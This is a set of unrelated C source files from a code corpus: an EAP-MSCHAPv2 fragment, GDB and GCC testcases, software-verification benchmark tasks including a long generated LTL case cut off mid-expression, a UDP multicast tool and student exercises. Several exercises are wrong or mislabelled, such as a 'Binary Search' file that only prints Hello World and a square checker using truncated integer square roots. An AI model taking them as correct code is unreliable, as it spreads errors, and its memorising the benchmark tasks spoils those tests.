cp->nt_response, data->auth_response);
data->auth_response_valid = 1;
nt_password_hash(new_password, new_password_len, password_hash);
hash_nt_password_hash(password_hash, password_hash_hash);
get_master_key(password_hash_hash, cp->nt_response, data->master_key);
data->master_key_valid = 1;
os_memset(cp->flags, 0, 2);
return resp;
fail:
wpabuf_free(resp);
return NULL;
}
static struct wpabuf *
eap_mschapv2_failure(struct eap_sm *sm,
struct eap_mschapv2_data *data,
struct eap_method_ret *ret,
const struct eap_mschapv2_hdr *req,
size_t req_len, u8 id)
{
struct wpabuf *resp;
const u8 *msdata = (const u8 *)(req + 1);
char *buf;
size_t len = req_len - sizeof(*req);
int retry = 0;
buf = (char *)dup_binstr(msdata, len);
if (buf) {
retry = eap_mschapv2_failure_txt(sm, data, buf);
os_free(buf);
}
ret->ignore = false;
ret->methodState = METHOD_DONE;
ret->decision = DECISION_FAIL;
ret->allowNotifications = false;
if (data->prev_error == ERROR_PASSWD_EXPIRED &&
data->passwd_change_version == 3) {
struct eap_peer_config *config = eap_get_config(sm);
if (config && config->new_password)
return eap_mschapv2_change_password(sm, data, ret,
req, id);
} else if (retry && data->prev_error == ERROR_AUTHENTICATION_FAILURE) {
return NULL;
}
resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, 1,
EAP_CODE_RESPONSE, id);
if (resp == NULL)
return NULL;
wpabuf_put_u8(resp, MSCHAPV2_OP_FAILURE);
return resp;
}
static int
eap_mschapv2_check_config(struct eap_sm *sm)
{
struct eap_peer_config *config = eap_get_config(sm);
if (config == NULL)
return -1;
if (config->identity == NULL ||
config->identity_len == 0) {
wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: idetity not configured\n");
return -1;
}
if (config->password == NULL ||
config->password_len == 0) {
wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Password not configured\n");
return -1;
}
return 0;
}
static int
eap_mschapv2_check_mslen(struct eap_sm *sm, size_t len,
const struct eap_mschapv2_hdr *ms)
{
size_t ms_len = WPA_GET_BE16(ms->ms_length);
if (ms_len == len)
return 0;
if (sm->workaround) {
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Workaround, ignore Invalid"
" header len=%lu ms_len=%lu\n",
(unsigned long)len, (unsigned long)ms_len);
return 0;
}
wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Invalid header len=%lu ms_len=%lu\n",
(unsigned long)len, (unsigned long)ms_len);
return -1;
}
static void
eap_mschapv2_copy_challenge(struct eap_mschapv2_data *data,
const struct wpabuf *reqData)
{
wpabuf_free(data->prev_challenge);
data->prev_challenge = wpabuf_dup(reqData);
}
static struct wpabuf *
eap_mschapv2_process(struct eap_sm *sm, void *priv,
struct eap_method_ret *ret,
const struct wpabuf *reqData)
{
u8 id;
size_t len;
const u8 *pos;
int using_prev_challenge = 0;
const struct eap_mschapv2_hdr *ms;
struct eap_mschapv2_data *data = priv;
struct eap_peer_config *config = eap_get_config(sm);
if (eap_mschapv2_check_config(sm)) {
ret->ignore = true;
return NULL;
}
if (config->mschapv2_retry && data->prev_challenge &&
data->prev_error == ERROR_AUTHENTICATION_FAILURE) {
reqData = data->prev_challenge;
using_prev_challenge = 1;
config->mschapv2_retry = 0;
}
pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2,
reqData, &len);
if (pos == NULL || len < sizeof(*ms) + 1) {
ret->ignore = true;
return NULL;
}
ms = (const struct eap_mschapv2_hdr *)pos;
if (eap_mschapv2_check_mslen(sm, len, ms)) {
ret->ignore = true;
return NULL;
}
id = eap_get_id(reqData);
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: RX identifier %d mschapv2_id %d\n",
id, ms->mschapv2_id);
switch (ms->op_code) {
case MSCHAPV2_OP_CHALLENGE:
if (!using_prev_challenge)
eap_mschapv2_copy_challenge(data, reqData);
return eap_mschapv2_challenge(sm, data, ret, ms, len, id);
case MSCHAPV2_OP_SUCCESS:
return eap_mschapv2_success(sm, data, ret, ms, len, id);
case MSCHAPV2_OP_FAILURE:
return eap_mschapv2_failure(sm, data, ret, ms, len, id);
default:
wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Unknown op code %d - ignored\n",
ms->op_code);
return NULL;
}
}
static bool
eap_mschapv2_isKeyAvailable(struct eap_sm *sm, void *priv)
{
struct eap_mschapv2_data *data = priv;
return data->success && data->master_key_valid;
}
static u8 *
eap_mschapv2_getKey(struct eap_sm *sm, void *priv, size_t *len)
{
struct eap_mschapv2_data *data = priv;
u8 *key;
int key_len;
if (!data->master_key_valid || !data->success)
return NULL;
key_len = 2 * MSCHAPV2_KEY_LEN;
key = os_malloc(key_len);
/* MSK = server MS-MPPE-Recv-Key | MS-MPPE-Send-Key,
* peer MS-MPPE-Send-Key | MS-MPPE-Recv-Key */
get_asymetric_start_key(data->master_key, key,
MSCHAPV2_KEY_LEN, 1, 0);
get_asymetric_start_key(data->master_key, key + MSCHAPV2_KEY_LEN,
MSCHAPV2_KEY_LEN, 0, 0);
*len = key_len;
return key;
}
int
eap_peer_mschapv2_register(void)
{
struct eap_method *eap;
int ret;
eap = eap_peer_method_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2,
"MSCHAPV2");
if (eap == NULL)
return -1;
eap->init = eap_mschapv2_init;
eap->deinit = eap_mschapv2_deinit;
eap->process = eap_mschapv2_process;
eap->isKeyAvailable = eap_mschapv2_isKeyAvailable;
eap->getKey = eap_mschapv2_getKey;
ret = eap_peer_method_register(eap);
if (ret)
eap_peer_method_free(eap);
return ret;
}
#endif /* EAP_MSCHAPv2 */
|
the_stack_data/51767.c
|
// This file is part of CPAchecker,
// a tool for configurable software verification:
// https://cpachecker.sosy-lab.org
//
// SPDX-FileCopyrightText: 2021 Dirk Beyer <https://www.sosy-lab.org>
//
// SPDX-License-Identifier: Apache-2.0
extern void __VERIFIER_error();
int main() {
signed int y;
y = -2;
int z;
z = y >> 1;
if (z != -1) {
ERROR:
__VERIFIER_error();
return 1;
}
return 0;
}
|
the_stack_data/212642808.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strsub.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: lreznak- <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/24 18:23:01 by lreznak- #+# #+# */
/* Updated: 2019/02/24 09:48:27 by lreznak- ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdlib.h>
#include <string.h>
char *ft_strsub(char const *s, unsigned int start, size_t len)
{
char *new_s;
int i;
if (!s)
return (NULL);
s += start;
i = 0;
if ((new_s = (char *)malloc(len + 1)))
{
while (len)
{
new_s[i] = *s;
i++;
s++;
len--;
}
new_s[i] = 0;
return (new_s);
}
else
return (NULL);
}
|
the_stack_data/220456346.c
|
#include <stdio.h>
#include <limits.h>
#include <float.h>
int main() {
printf("Ranges of char, short, int, and long variables both signed and unsigned\n");
printf("using standard headers.\n");
printf("Ranges for a signed char %d to %d\n", SCHAR_MIN, SCHAR_MAX);
printf("Ranges for a unsigned char %d\n", UCHAR_MAX);
printf("Ranges for a signed short %d to %d\n", SHRT_MIN, SHRT_MAX);
printf("Ranges for a unsigned short %d\n", USHRT_MAX);
printf("Ranges for a signed int %d to %d\n", INT_MIN, INT_MAX);
printf("Ranges for a unsigned int %u\n", UINT_MAX);
printf("Ranges for a signed long %ld to %ld\n", LONG_MIN, LONG_MAX);
printf("Ranges for a signed long %ld to %ld\n", LONG_MIN, LONG_MAX);
printf("Ranges for a float %f to %f \n", FLT_MIN, FLT_MAX);
printf("Ranges for a double %f to %f \n", DBL_MIN, DBL_MAX);
return 0;
}
|
the_stack_data/62637394.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2010-2015 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
volatile int var;
int
return_1 (void)
{
return 1;
}
int
main(void)
{
var++;
var++; /* watchpoint-stop */
return 0; /* break-at-exit */
}
|
the_stack_data/96567.c
|
// PROGRAM-NAME : Binary Search
// By Joel sen
// PROGRAM-CODE :
#include <stdio.h>
int main()
{
printf("Hello, World!");
}
|
the_stack_data/131894.c
|
#include <stdio.h>
#include <math.h>
int main()
{
int T,i,ax,ay,bx,by,cx,cy,dx,dy,A,B,C,D,O,Os;
scanf("%d",&T);
for(i=1;i<=T;i++)
{
scanf("%d %d %d %d %d %d %d %d",&ax,&ay,&bx,&by,&cx,&cy,&dx,&dy);
A=sqrt((bx-ax)*(bx-ax)+(by-ay)*(by-ay));
B=sqrt((cx-bx)*(cx-bx)+(cy-by)*(cy-by));
C=sqrt((dx-cx)*(dx-cx)+(dy-cy)*(dy-cy));
D=sqrt((ax-dx)*(ax-dx)+(ay-dy)*(ay-dy));
O=sqrt((bx-dx)*(bx-dx)+(by-dy)*(by-dy));
Os=O*O;
if(A==B && B==C && C==D && D==A && Os==A*A+B*B)
printf("Case %d: Square\n",i);
}
}
|
the_stack_data/211379.c
|
#include <stdlib.h>
#include <stdio.h>
#define MAX 300
int main(void) {
int n, V[MAX];
n = leggi_array(V);
HeapSort(V, n);
stampa_array(V, n);
return(0);
}
//scambia il valore delle due variabili.
void scambia(int *x, int *y) {
int z;
z = *x;
*x = *y;
*y = z;
return;
}
/*
* Legge in input il numero n ed n numeri interi
* che memorizza nell'array. Restituisce il numero
* di elementi letti (n).
*/
int leggi_array(int V[]) {
int n, i;
printf("Numero di elementi: ");
scanf("%d", &n);
printf("Inserisci %d numeri: ", n);
for (i=0; i<n; i++)
scanf("%d", &V[i]);
return(n);
}
void stampa_array(int V[], int n) {
int i;
for (i=0; i<n; i++) {
printf("%d ", V[i]);
}
printf("\n");
return;
}
//inserisce l'elemento x nell'heap H.
void Inserisci(int x, int H[]) {
int l;
l = H[0]+1;
H[0] = H[0]+1;
H[l] = x;
while (l>1 && H[l/2]<H[l]) {
scambia(&H[l], &H[l/2]);
l = l/2;
}
return;
}
/*
* restituisce il massimo elemento
* dell'heap H (la radice) e ricostruisce la
* struttura di heap.
*/
int EstraiMax(int H[]) {
int max, i;
max = H[1];
H[1] = H[H[0]];
H[0] = H[0]-1;
i = 1;
while (2*i<H[0] && (H[i]<H[2*i] || H[i]<H[2*i+1])) {
if (H[2*i] > H[2*i+1]) {
scambia(&H[i], &H[2*i]);
i = 2*i;
} else {
scambia(&H[i], &H[2*i+1]);
i = 2*i+1;
}
}
if (2*i == H[0] && H[i] < H[2*i])
scambia(&H[i], &H[2*i]);
return(max);
}
/*
* ordina l'array A mediante l'algoritmo Heap Sort.
*/
void HeapSort(int A[], int n) {
int i, H[MAX];
H[0] = 0;
for (i=0; i<n; i++)
Inserisci(A[i], H);
for (i=n-1; i>=0; i--)
A[i] = EstraiMax(H);
return;
}
|
the_stack_data/1081930.c
|
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
extern void exit(int code);
extern int main (int, char**);
#define KERNEL_LOG(x) _Z12klog_syscallPKc(x)
// not all spaces are argument separators, but all spaces are
// an upper bound on the number of arguments
static size_t maxArgc(const char* s) {
size_t argc = 0;
while (s && *s) {
if (*s == ' ') ++argc;
++s;
}
return argc;
}
static size_t parseArgs(char* s, char** argv) {
size_t argn = 0;
int inQuoted = 0;
const char* start = s;
while(s && *s) {
switch(*s) {
case '"':
if (!inQuoted) {
++start;
++s;
inQuoted = 1;
}
else {
*s = 0;
argv[argn] = (char*)malloc(strlen(start) + 1);
strcpy(argv[argn], start);
start = ++s;
++argn;
inQuoted = 0;
}
continue;
case ' ':
if (s == start) {
start = ++s; continue;
}
if (!inQuoted) {
*s = 0;
argv[argn] = (char*)malloc(strlen(start) + 1);
strcpy(argv[argn], start);
start = ++s;
++argn;
continue;
}
++s; continue;
default: ++s; continue;
}
}
if (start != s) {
argv[argn] = (char*)malloc(strlen(start) + 1);
strcpy(argv[argn], start);
++argn;
}
return argn;
}
void _start(char* program, char* cmdline) {
int ex = 0;
size_t maxargc = maxArgc(cmdline);
char** args = (char**)calloc(sizeof(char*), maxargc + 2);
if (program == NULL) {
args[0] = (char*)calloc(sizeof(char), 1);
} else {
args[0] = (char*)calloc(strlen(program) + 1, 1);
strcpy(args[0], program);
}
size_t argcnt = parseArgs(cmdline, &args[1]);
args[argcnt + 1] = NULL;
ex = main(argcnt+1, args);
exit(ex);
}
|
the_stack_data/779166.c
|
//*****************************************************************************
//
// startup_ccs.c - Startup code for use with TI's Code Composer Studio.
//
// Copyright (c) 2010-2012 Texas Instruments Incorporated. All rights reserved.
// Software License Agreement
//
// Texas Instruments (TI) is supplying this software for use solely and
// exclusively on TI's microcontroller products. The software is owned by
// TI and/or its suppliers, and is protected under applicable copyright
// laws. You may not combine this software with "viral" open-source
// software in order to form a larger program.
//
// THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS.
// NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT
// NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY
// CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL
// DAMAGES, FOR ANY REASON WHATSOEVER.
//
// This is part of revision 8555 of the EK-LM3S9B90 Firmware Package.
//
//*****************************************************************************
//*****************************************************************************
//
// Forward declaration of the default fault handlers.
//
//*****************************************************************************
void ResetISR(void);
static void NmiSR(void);
static void FaultISR(void);
static void IntDefaultHandler(void);
//*****************************************************************************
//
// External declaration for the reset handler that is to be called when the
// processor is started
//
//*****************************************************************************
extern void _c_int00(void);
//*****************************************************************************
//
// Linker variable that marks the top of the stack.
//
//*****************************************************************************
extern unsigned long __STACK_TOP;
//*****************************************************************************
//
// External declarations for the interrupt handlers used by the application.
//
//*****************************************************************************
extern void SysTickHandler(void);
extern void USB0DeviceIntHandler(void);
//*****************************************************************************
//
// The vector table. Note that the proper constructs must be placed on this to
// ensure that it ends up at physical address 0x0000.0000 or at the start of
// the program if located at a start address other than 0.
//
//*****************************************************************************
#pragma DATA_SECTION(g_pfnVectors, ".intvecs")
void (* const g_pfnVectors[])(void) =
{
(void (*)(void))((unsigned long)&__STACK_TOP),
// The initial stack pointer
ResetISR, // The reset handler
NmiSR, // The NMI handler
FaultISR, // The hard fault handler
IntDefaultHandler, // The MPU fault handler
IntDefaultHandler, // The bus fault handler
IntDefaultHandler, // The usage fault handler
0, // Reserved
0, // Reserved
0, // Reserved
0, // Reserved
IntDefaultHandler, // SVCall handler
IntDefaultHandler, // Debug monitor handler
0, // Reserved
IntDefaultHandler, // The PendSV handler
SysTickHandler, // The SysTick handler
IntDefaultHandler, // GPIO Port A
IntDefaultHandler, // GPIO Port B
IntDefaultHandler, // GPIO Port C
IntDefaultHandler, // GPIO Port D
IntDefaultHandler, // GPIO Port E
IntDefaultHandler, // UART0 Rx and Tx
IntDefaultHandler, // UART1 Rx and Tx
IntDefaultHandler, // SSI0 Rx and Tx
IntDefaultHandler, // I2C0 Master and Slave
IntDefaultHandler, // PWM Fault
IntDefaultHandler, // PWM Generator 0
IntDefaultHandler, // PWM Generator 1
IntDefaultHandler, // PWM Generator 2
IntDefaultHandler, // Quadrature Encoder 0
IntDefaultHandler, // ADC Sequence 0
IntDefaultHandler, // ADC Sequence 1
IntDefaultHandler, // ADC Sequence 2
IntDefaultHandler, // ADC Sequence 3
IntDefaultHandler, // Watchdog timer
IntDefaultHandler, // Timer 0 subtimer A
IntDefaultHandler, // Timer 0 subtimer B
IntDefaultHandler, // Timer 1 subtimer A
IntDefaultHandler, // Timer 1 subtimer B
IntDefaultHandler, // Timer 2 subtimer A
IntDefaultHandler, // Timer 2 subtimer B
IntDefaultHandler, // Analog Comparator 0
IntDefaultHandler, // Analog Comparator 1
IntDefaultHandler, // Analog Comparator 2
IntDefaultHandler, // System Control (PLL, OSC, BO)
IntDefaultHandler, // FLASH Control
IntDefaultHandler, // GPIO Port F
IntDefaultHandler, // GPIO Port G
IntDefaultHandler, // GPIO Port H
IntDefaultHandler, // UART2 Rx and Tx
IntDefaultHandler, // SSI1 Rx and Tx
IntDefaultHandler, // Timer 3 subtimer A
IntDefaultHandler, // Timer 3 subtimer B
IntDefaultHandler, // I2C1 Master and Slave
IntDefaultHandler, // Quadrature Encoder 1
IntDefaultHandler, // CAN0
IntDefaultHandler, // CAN1
IntDefaultHandler, // CAN2
IntDefaultHandler, // Ethernet
IntDefaultHandler, // Hibernate
USB0DeviceIntHandler, // USB0
IntDefaultHandler, // PWM Generator 3
IntDefaultHandler, // uDMA Software Transfer
IntDefaultHandler, // uDMA Error
IntDefaultHandler, // ADC1 Sequence 0
IntDefaultHandler, // ADC1 Sequence 1
IntDefaultHandler, // ADC1 Sequence 2
IntDefaultHandler, // ADC1 Sequence 3
IntDefaultHandler, // I2S0
IntDefaultHandler, // External Bus Interface 0
IntDefaultHandler // GPIO Port J
};
//*****************************************************************************
//
// This is the code that gets called when the processor first starts execution
// following a reset event. Only the absolutely necessary set is performed,
// after which the application supplied entry() routine is called. Any fancy
// actions (such as making decisions based on the reset cause register, and
// resetting the bits in that register) are left solely in the hands of the
// application.
//
//*****************************************************************************
void
ResetISR(void)
{
//
// Jump to the CCS C initialization routine.
//
__asm(" .global _c_int00\n"
" b.w _c_int00");
}
//*****************************************************************************
//
// This is the code that gets called when the processor receives a NMI. This
// simply enters an infinite loop, preserving the system state for examination
// by a debugger.
//
//*****************************************************************************
static void
NmiSR(void)
{
//
// Enter an infinite loop.
//
while(1)
{
}
}
//*****************************************************************************
//
// This is the code that gets called when the processor receives a fault
// interrupt. This simply enters an infinite loop, preserving the system state
// for examination by a debugger.
//
//*****************************************************************************
static void
FaultISR(void)
{
//
// Enter an infinite loop.
//
while(1)
{
}
}
//*****************************************************************************
//
// This is the code that gets called when the processor receives an unexpected
// interrupt. This simply enters an infinite loop, preserving the system state
// for examination by a debugger.
//
//*****************************************************************************
static void
IntDefaultHandler(void)
{
//
// Go into an infinite loop.
//
while(1)
{
}
}
|
the_stack_data/167331470.c
|
//main.c
#include<stdio.h>
int main()
{
int sockfd;
sockfd = InitNet(); //初始化网络
printf("连接服务器成功!\n");
main_handler(sockfd); //主程序
return 0;
}
|
the_stack_data/1249466.c
|
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX 5
struct Vertex {
char label;
bool visited;
};
//stack variables
int stack[MAX];
int top = -1;
//graph variables
//array of vertices
struct Vertex* lstVertices[MAX];
//adjacency matrix
int adjMatrix[MAX][MAX];
//vertex count
int vertexCount = 0;
//stack functions
void push(int item)
{
stack[++top] = item;
}
int pop()
{
return stack[top--];
}
int peek()
{
return stack[top];
}
bool isStackEmpty()
{
return top == -1;
}
//graph functions
//add vertex to the vertex list
void addVertex(char label)
{
struct Vertex* vertex = (struct Vertex*) malloc(sizeof(struct Vertex));
vertex->label = label;
vertex->visited = false;
lstVertices[vertexCount++] = vertex;
}
//add edge to edge array
void addEdge(int start,int end)
{
adjMatrix[start][end] = 1;
adjMatrix[end][start] = 1;
}
//display the vertex
void displayVertex(int vertexIndex)
{
printf("%c ",lstVertices[vertexIndex]->label);
}
//get the adjacent unvisited vertex
int getAdjUnvisitedVertex(int vertexIndex)
{
int i;
for(i = 0; i<vertexCount; i++) {
if(adjMatrix[vertexIndex][i] == 1 && lstVertices[i]->visited == false) {
return i;
}
}
return -1;
}
void depthFirstSearch()
{
int i;
//mark first node as visited
lstVertices[0]->visited = true;
//display the vertex
displayVertex(0);
//push vertex index in stack
push(0);
while(!isStackEmpty())
{
//get the unvisited vertex of vertex which is at top of the stack
int unvisitedVertex = getAdjUnvisitedVertex(peek());
//no adjacent vertex found
if(unvisitedVertex == -1)
{
pop();
}
else
{
lstVertices[unvisitedVertex]->visited = true;
displayVertex(unvisitedVertex);
push(unvisitedVertex);
}
}
//stack is empty, search is complete, reset the visited flag
for(i = 0;i < vertexCount;i++)
{
lstVertices[i]->visited = false;
}
}
int main()
{
int i, j;
for(i = 0; i<MAX; i++) // set adjacency {
for(j = 0; j<MAX; j++) // matrix to 0
adjMatrix[i][j] = 0;
addVertex('S'); // 0
addVertex('A'); // 1
addVertex('B'); // 2
addVertex('C'); // 3
addVertex('D'); // 4
addEdge(0, 1); // S - A
addEdge(0, 2); // S - B
addEdge(0, 3); // S - C
addEdge(1, 4); // A - D
addEdge(2, 4); // B - D
addEdge(3, 4); // C - D
printf("Depth First Search: ");
depthFirstSearch();
return 0;
}
|
the_stack_data/147012.c
|
/* { dg-do run } */
/* { dg-require-effective-target indirect_jumps } */
#include <setjmp.h>
extern void abort (void);
jmp_buf buf;
void raise0(void)
{
__builtin_longjmp (buf, 1);
}
int execute(int cmd)
{
int last = 0;
if (__builtin_setjmp (buf) == 0)
while (1)
{
last = 1;
raise0 ();
}
if (last == 0)
return 0;
else
return cmd;
}
int main(void)
{
if (execute (1) == 0)
abort ();
return 0;
}
|
the_stack_data/606995.c
|
#include<stdio.h>
void main()
{
int n,sqr=0;
printf("\n\t ENTER THE NO.:= ");
scanf("%d",&n);
sqr=n*n;
printf("\n\t SQUARE OF %d is %d .",n,sqr);
}
|
the_stack_data/932971.c
|
#include <stdio.h>
int main(void) {
int R, A;
scanf("%d %d", &R, &A);
if (R == A)
{
if (A < 6)
printf("%d+3=%d\n", A - 3, R);
else
printf("3+%d=%d\n", A - 3, R);
}
else if (A < R - A)
printf("%d+%d=%d\n", A, R - A, R);
else
printf("%d+%d=%d\n", R - A, A, R);
return 0;
}
|
the_stack_data/894146.c
|
// unix/linux udp multicast sender/listener
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define LOG_TEXT(...) printf(__VA_ARGS__)
#define HELLO_GROUP "225.0.0.37"
typedef struct
{
const char * addr;
int port;
const char * msg;
} Conf;
static int _send(Conf * conf);
static int _listen(Conf * conf);
int main(int argc, char * argv[])
{
Conf conf;
if (argc > 4 && strcmp(argv[1], "s") == 0)
{
conf.port = atoi(argv[2]);
conf.addr = argv[3];
conf.msg = argv[4];
return _send(&conf);
}
else if (argc > 3 && strcmp(argv[1], "l") == 0)
{
conf.port = atoi(argv[2]);
conf.addr = argv[3];
conf.msg = NULL;
return _listen(&conf);
}
else
{
LOG_TEXT("./0 [s|l] <port> <addr> [<message>] # 's' send, 'l' listen\n");
}
return 1;
}
int _send(Conf * conf)
{
int sd;
if ((sd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
{
perror("socket");
return 1;
}
int bc = 1;
if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &bc, sizeof(bc)) < 0)
{
perror("setsockopt");
close(sd);
return 1;
}
struct sockaddr_in broadcastAddr;
memset(&broadcastAddr, 0, sizeof broadcastAddr);
broadcastAddr.sin_family = AF_INET;
broadcastAddr.sin_addr.s_addr = inet_addr(conf->addr);
broadcastAddr.sin_port = htons(conf->port);
if (sendto(sd, conf->msg, strlen(conf->msg), 0, (struct sockaddr*)&broadcastAddr, sizeof(broadcastAddr)) < 0)
{
perror("sendto");
close(sd);
return 1;
}
LOG_TEXT("message sent.\n");
close(sd);
return 0;
}
int _listen(Conf * conf)
{
int sd;
struct sockaddr_in si_me, client_address;
struct ip_mreq mreq;
if ((sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
{
perror("socket");
return 1;
}
int bc = 1;
if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &bc, sizeof(bc)) < 0)
{
perror("setsockopt");
close(sd);
return 1;
}
memset(&si_me, 0, sizeof(si_me));
si_me.sin_family = AF_INET;
si_me.sin_addr.s_addr = htonl(INADDR_ANY);
si_me.sin_port = htons(conf->port);
if ((bind(sd, (struct sockaddr *)&si_me, sizeof(struct sockaddr))) < 0)
{
perror("bind");
close(sd);
return 1;
}
mreq.imr_multiaddr.s_addr = inet_addr(conf->addr);
mreq.imr_interface.s_addr = htonl(INADDR_ANY);
if (setsockopt(sd,IPPROTO_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq)) < 0) {
perror("setsockopt");
close(sd);
return 1;
}
LOG_TEXT("listening..\n");
while (1)
{
char buf[64] = { 0 };
socklen_t client_address_len = sizeof(client_address);
recvfrom(sd, buf, sizeof(buf)-1, 0, (struct sockaddr *)&client_address, &client_address_len);
LOG_TEXT("recv: %s\n", buf);
}
close(sd);
return 0;
}
|
the_stack_data/1016778.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2010-2014 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
extern void jumper (void (*jumpto) (void));
static void
func (void)
{
volatile int c;
c = 5;
c = 10; /* watchpoint-here */
c = 20;
}
int
main (void)
{
jumper (func);
return 0;
}
|
the_stack_data/20450017.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char**argv){
int c;
useconds_t stime=10000; // defaults to 100 Hz
if (argc>1) { // Argument is interperted as Hz
stime=1000000/atoi(argv[1]);
}
setvbuf(stdout,NULL,_IONBF,0);
while ((c=fgetc(stdin)) != EOF){
fputc(c,stdout);
usleep(stime);
}
return 0;
}
|
the_stack_data/175143768.c
|
#define a (2)
int main() {
int i, n=__VERIFIER_nondet_uint(), sn=0;
for(i=1; i<=n; i++) {
if (i<10)
sn = sn + a;
}
__VERIFIER_assert(sn==n*a || sn == 0);
}
|
the_stack_data/11073975.c
|
//@ ltl invariant negative: (X (<> ([] (<> AP(x_25 - x_23 > 17)))));
float x_0;
float x_1;
float x_2;
float x_3;
float x_4;
float x_5;
float x_6;
float x_7;
float x_8;
float x_9;
float x_10;
float x_11;
float x_12;
float x_13;
float x_14;
float x_15;
float x_16;
float x_17;
float x_18;
float x_19;
float x_20;
float x_21;
float x_22;
float x_23;
float x_24;
float x_25;
float x_26;
float x_27;
int main()
{
float x_0_;
float x_1_;
float x_2_;
float x_3_;
float x_4_;
float x_5_;
float x_6_;
float x_7_;
float x_8_;
float x_9_;
float x_10_;
float x_11_;
float x_12_;
float x_13_;
float x_14_;
float x_15_;
float x_16_;
float x_17_;
float x_18_;
float x_19_;
float x_20_;
float x_21_;
float x_22_;
float x_23_;
float x_24_;
float x_25_;
float x_26_;
float x_27_;
while(1) {
x_0_ = ((((14.0 + x_1) > ((11.0 + x_3) > (4.0 + x_4)? (11.0 + x_3) : (4.0 + x_4))? (14.0 + x_1) : ((11.0 + x_3) > (4.0 + x_4)? (11.0 + x_3) : (4.0 + x_4))) > (((6.0 + x_7) > (5.0 + x_8)? (6.0 + x_7) : (5.0 + x_8)) > ((16.0 + x_16) > (2.0 + x_19)? (16.0 + x_16) : (2.0 + x_19))? ((6.0 + x_7) > (5.0 + x_8)? (6.0 + x_7) : (5.0 + x_8)) : ((16.0 + x_16) > (2.0 + x_19)? (16.0 + x_16) : (2.0 + x_19)))? ((14.0 + x_1) > ((11.0 + x_3) > (4.0 + x_4)? (11.0 + x_3) : (4.0 + x_4))? (14.0 + x_1) : ((11.0 + x_3) > (4.0 + x_4)? (11.0 + x_3) : (4.0 + x_4))) : (((6.0 + x_7) > (5.0 + x_8)? (6.0 + x_7) : (5.0 + x_8)) > ((16.0 + x_16) > (2.0 + x_19)? (16.0 + x_16) : (2.0 + x_19))? ((6.0 + x_7) > (5.0 + x_8)? (6.0 + x_7) : (5.0 + x_8)) : ((16.0 + x_16) > (2.0 + x_19)? (16.0 + x_16) : (2.0 + x_19)))) > (((10.0 + x_20) > ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))? (10.0 + x_20) : ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))) > (((6.0 + x_23) > (2.0 + x_24)? (6.0 + x_23) : (2.0 + x_24)) > ((13.0 + x_25) > (14.0 + x_26)? (13.0 + x_25) : (14.0 + x_26))? ((6.0 + x_23) > (2.0 + x_24)? (6.0 + x_23) : (2.0 + x_24)) : ((13.0 + x_25) > (14.0 + x_26)? (13.0 + x_25) : (14.0 + x_26)))? ((10.0 + x_20) > ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))? (10.0 + x_20) : ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))) : (((6.0 + x_23) > (2.0 + x_24)? (6.0 + x_23) : (2.0 + x_24)) > ((13.0 + x_25) > (14.0 + x_26)? (13.0 + x_25) : (14.0 + x_26))? ((6.0 + x_23) > (2.0 + x_24)? (6.0 + x_23) : (2.0 + x_24)) : ((13.0 + x_25) > (14.0 + x_26)? (13.0 + x_25) : (14.0 + x_26))))? (((14.0 + x_1) > ((11.0 + x_3) > (4.0 + x_4)? (11.0 + x_3) : (4.0 + x_4))? (14.0 + x_1) : ((11.0 + x_3) > (4.0 + x_4)? (11.0 + x_3) : (4.0 + 